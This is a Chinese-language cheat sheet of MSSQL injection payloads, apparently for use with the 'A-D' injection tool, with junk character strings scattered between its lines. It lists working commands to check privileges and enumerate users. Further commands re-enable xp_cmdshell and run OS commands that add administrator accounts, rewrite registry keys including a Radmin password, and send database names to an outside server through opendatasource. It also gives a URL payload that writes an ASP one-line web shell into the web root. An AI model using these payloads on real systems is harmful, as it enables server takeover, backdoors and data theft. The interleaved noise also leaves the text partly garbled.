阿D常用的一些注入命令+ ?% u5 S7 f" D. J$ R
//看看是什么权限的7 ^5 t8 T) ~7 w
and 1=(Select IS_MEMBER('db_owner'))& q; O' S; |: @
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
+ H* }) Z; Y- F. O' `5 i4 X
* | ^2 G' R" P7 b0 u5 J# x" j//检测是否有读取某数据库的权限
$ L4 V9 q3 i1 F( uand 1= (Select HAS_DBACCESS('master'))
/ q" ]. a6 X9 W7 g* V# g8 HAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
L. j' b U% ^& t. a2 N! D
6 h3 X2 ^8 b. i8 H- N
% X9 p2 v8 ^: Z. u$ |# `数字类型
1 }* J! J( L* s8 ?0 Tand char(124)%2Buser%2Bchar(124)=0 b- f5 N: P. f
6 `+ T& I/ [/ c( M6 `' p
字符类型5 T* ]8 m( y+ d- G5 z
' and char(124)%2Buser%2Bchar(124)=0 and ''='( l; t B, K: S: r' A+ F
# \* ^6 E1 e. l; h+ f$ h) p
搜索类型
# v4 F3 q. f0 Y8 O+ ]$ }; M' and char(124)%2Buser%2Bchar(124)=0 and '%'=', T7 j# h8 W4 |9 L! u. R6 o, j
9 j8 R2 O# w- y" g }- c
爆用户名
" _. N: z, F4 zand user>0' u1 w" U. Y5 k0 i1 O
' and user>0 and ''='
- Q0 |( g0 c9 I H1 X' X$ H+ ~5 u( V" h6 `7 {
检测是否为SA权限 n" A5 z) p: \3 _+ l; a9 T% p
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
3 P0 b) ?; t, h' G7 o* k5 F/ [And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
4 g3 N9 w: j9 V! ?3 J }# a
- L# V! g( Y: q2 ]4 N检测是不是MSSQL数据库9 r+ A" E$ O! o# r* \
and exists (select * from sysobjects);-- 2 Y& p# i- n0 O, x; P- S4 B9 }
' L3 p. J( X1 z+ r+ [
检测是否支持多行
' H* g( G8 `! a8 v2 u) ~- O9 J+ r;declare @d int;-- / b. A4 M9 u9 q1 }4 p
5 @% L( p+ l# C; W6 Q" l: K! x
恢复 xp_cmdshell8 v& x4 G( t$ [7 w
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
3 [, M0 V( m$ R- S! F. g- p ?7 T
) ]# u+ s+ G9 Z4 _; z8 r
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
+ F$ f- V3 S# Q, K& o
! y3 r. Y B6 H- } U//-----------------------
7 g8 D+ F" O) \4 G1 }8 t" K% j// 执行命令. f7 H& c# K) W
//-----------------------$ e5 f7 q& ^7 `4 K" m# g2 q; [4 W
首先开启沙盘模式:3 R7 B: U* D( f1 p# R
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1, k8 {( f; D1 d+ y$ j6 E, Q. o
0 @& z! ]# }" [1 N2 ^# h# x然后利用jet.oledb执行系统命令
4 ?1 f b* ~9 ~) D4 o- yselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')! i. D: P @( F) F: t
% B" I: x) ~- O9 }9 z% S6 P6 d" [执行命令: \9 x- C8 ~& D4 i5 K) ~
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--1 X: ?' ?) t2 s
2 x' ?& Z3 }$ d3 u4 H' Z3 }+ ~& [) cEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
/ j6 o$ D3 {% y7 X5 a- l4 B& T8 |+ D' ]+ W
判断xp_cmdshell扩展存储过程是否存在:; K* I- v# n! b; I; ^5 u; m
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')% b. d! \3 l, l5 L. Z* r& I: i
8 a5 G$ z U( P3 M写注册表
: w, m- F, Q1 Q! Y8 Dexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
( M% ^; M: d% P2 G' P
0 @( z/ \6 {8 r) K" Y3 O* l- E* g, pREG_SZ
# g+ z5 L' n' H% M( g3 t9 u! i) F i4 w' O' W6 q( x
读注册表, F* _: F+ r$ K3 M( r, X: v
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'% P; D& H. U4 O3 o0 q# `
+ [; t# m; |! k0 I# x, J/ D9 o% p读取目录内容
& p, g' a" ~6 @; a6 K. oexec master..xp_dirtree 'c:\winnt\system32\',1,1
. J+ }- O; X" |. x
6 t* ]% |- Z9 s, L8 v
% j- ?* F! z! g6 R% ^数据库备份; c; e2 e' t% j/ n
backup database pubs to disk = 'c:\123.bak' _/ w3 C8 g+ y
/ ~/ @3 I, h( Z6 Z: @
//爆出长度& U$ {; K0 n$ Y, Q9 M0 W
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
/ D- o7 L. }* A
0 i) c# s# }6 I4 U+ |' ^! [# J6 |' E& t; W' q: C' T- t# D
, v7 ~5 r7 Q1 Q Z/ ]( l- f更改sa口令方法:用sql综合利用工具连接后,执行命令:
$ |5 B( E$ U/ r" bexec sp_password NULL,'新密码','sa'2 ~. I+ @7 u* Y, y
G; u* n+ d7 Z( {
添加和删除一个SA权限的用户test:$ n9 y: Z, `* y( n* t0 M
exec master.dbo.sp_addlogin test,ptlove F1 v2 N, }7 P$ e0 a
exec master.dbo.sp_addsrvrolemember test,sysadmin; v: u( w' g% e9 n
6 q$ H3 ?& |8 q7 [) m5 _, e" [( v删除扩展存储过过程xp_cmdshell的语句:
5 v y4 F0 n0 V2 t: Eexec sp_dropextendedproc 'xp_cmdshell'7 }. E) s# q# H% u3 U% @3 [% ?
! W0 X k* u6 p/ u) r3 T+ R0 G添加扩展存储过过程) u: k0 m7 R Z3 c o
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' ! u; M6 F' L/ v2 L( s- y3 D8 v( z
GRANT exec On xp_proxiedadata TO public ; G* H5 b8 a+ \' H) \ s+ Z0 r
5 f d1 ~1 z' r! }; D, |2 g0 A
" Q' Q5 e& D) q, u7 Q% \1 p停掉或激活某个服务。 4 w* G9 D) ]- u- c; I; A- V4 a
6 t L% \1 P1 n, @9 W
exec master..xp_servicecontrol 'stop','schedule'+ n+ X* T6 u( |' t% d2 h$ j
exec master..xp_servicecontrol 'start','schedule', v0 B/ w! c) a% m4 ]
3 n3 c3 u" D7 H8 ^dbo.xp_subdirs
# Z$ M9 ~- B0 h$ E# C5 v
- K# z7 v8 A# I# [只列某个目录下的子目录。
) c1 q4 @# P; Q5 i( x3 [' ^xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'& A6 _, n2 q0 ]* e, a
& I2 {5 ]4 {7 r7 D8 V2 O2 `) |! ^ E
dbo.xp_makecab
' A0 |( O9 L& M2 O6 z# V* I Q9 u- D
将目标多个档案压缩到某个目标档案之内。
% X5 \ i/ _- a& B* E所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
# y2 U; A2 c1 i5 I+ \9 j' A. x8 f; y+ m6 o
dbo.xp_makecab* d- {+ n. y# i$ s; z- c
'c:\test.cab','mszip',1,
7 o) o, Y7 J5 {- j( V'C:\Inetpub\wwwroot\SQLInject\login.asp',
5 ^: k; L" U& o2 t) ~5 G! T2 p'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
/ m! a$ S" M/ u0 M# v
* o' g/ w: F+ g% _0 O9 B1 dxp_terminate_process9 F, i ]9 C3 O
6 p, F! y) I: O! h' C停掉某个执行中的程序,但赋予的参数是 Process ID。
7 E( ~0 X+ ^5 Y9 T$ n# _利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
- c9 Q; q/ X. \7 P8 A2 f3 P9 l2 V" C: G8 [! S: `
xp_terminate_process 2484: ~& O, s+ Y/ K+ M: R j
) V" ? D1 y6 g0 ~: N- f
xp_unpackcab
6 X3 K l2 r7 @+ B1 E
0 e6 _% i# R1 d4 h解开压缩档。
7 ]8 Q0 q$ L0 F8 v1 [. d0 U6 v2 g0 m' P
xp_unpackcab 'c:\test.cab','c:\temp',1
4 M) e! w; B7 U$ h$ |3 M; v2 i/ i/ @2 J2 o% E1 E
# T3 R7 f8 r. m: _某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12340 Z( i0 F2 D/ r) Q
" s% w% c& D- dcreate database lcx;+ j( T0 }4 p6 p
Create TABLE ku(name nvarchar(256) null);
. y* a/ u! a, S% |8 ?, [Create TABLE biao(id int NULL,name nvarchar(256) null);
% z1 i2 @) W7 p2 s. S- R6 h T. t5 x3 p" @/ ^, l" K0 I1 J3 S- s
//得到数据库名2 z D# [$ P& K6 b4 _
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases5 ~- q1 }8 T! U$ J& x: C
3 g. H8 f# v2 d9 N: M* c* ^3 |8 ^2 c5 l9 Q+ S
//在Master中创建表,看看权限怎样) z0 g$ ]! `9 p' Y
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
/ `0 B. I/ t) j. A1 a5 X
' |* ~5 D% m3 h; o r用 sp_makewebtask直接在web目录里写入一句话马:
( c _; Z3 Q( c A" t0 shttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--( q* ^/ U3 V' n4 t. j% |! t3 ]
4 _1 ]" j( g+ P: ?2 e5 h) o
//更新表内容( ]' |# ^) z4 v! v, f; s8 u
Update films SET kind = 'Dramatic' Where id = 123
; `+ c+ M3 j# r! J( i
9 ~- G! k" ~) Z$ C- I; A/ Q//删除内容
, n0 {& u# E2 H- H2 |4 ydelete from table_name where Stockid = 3 |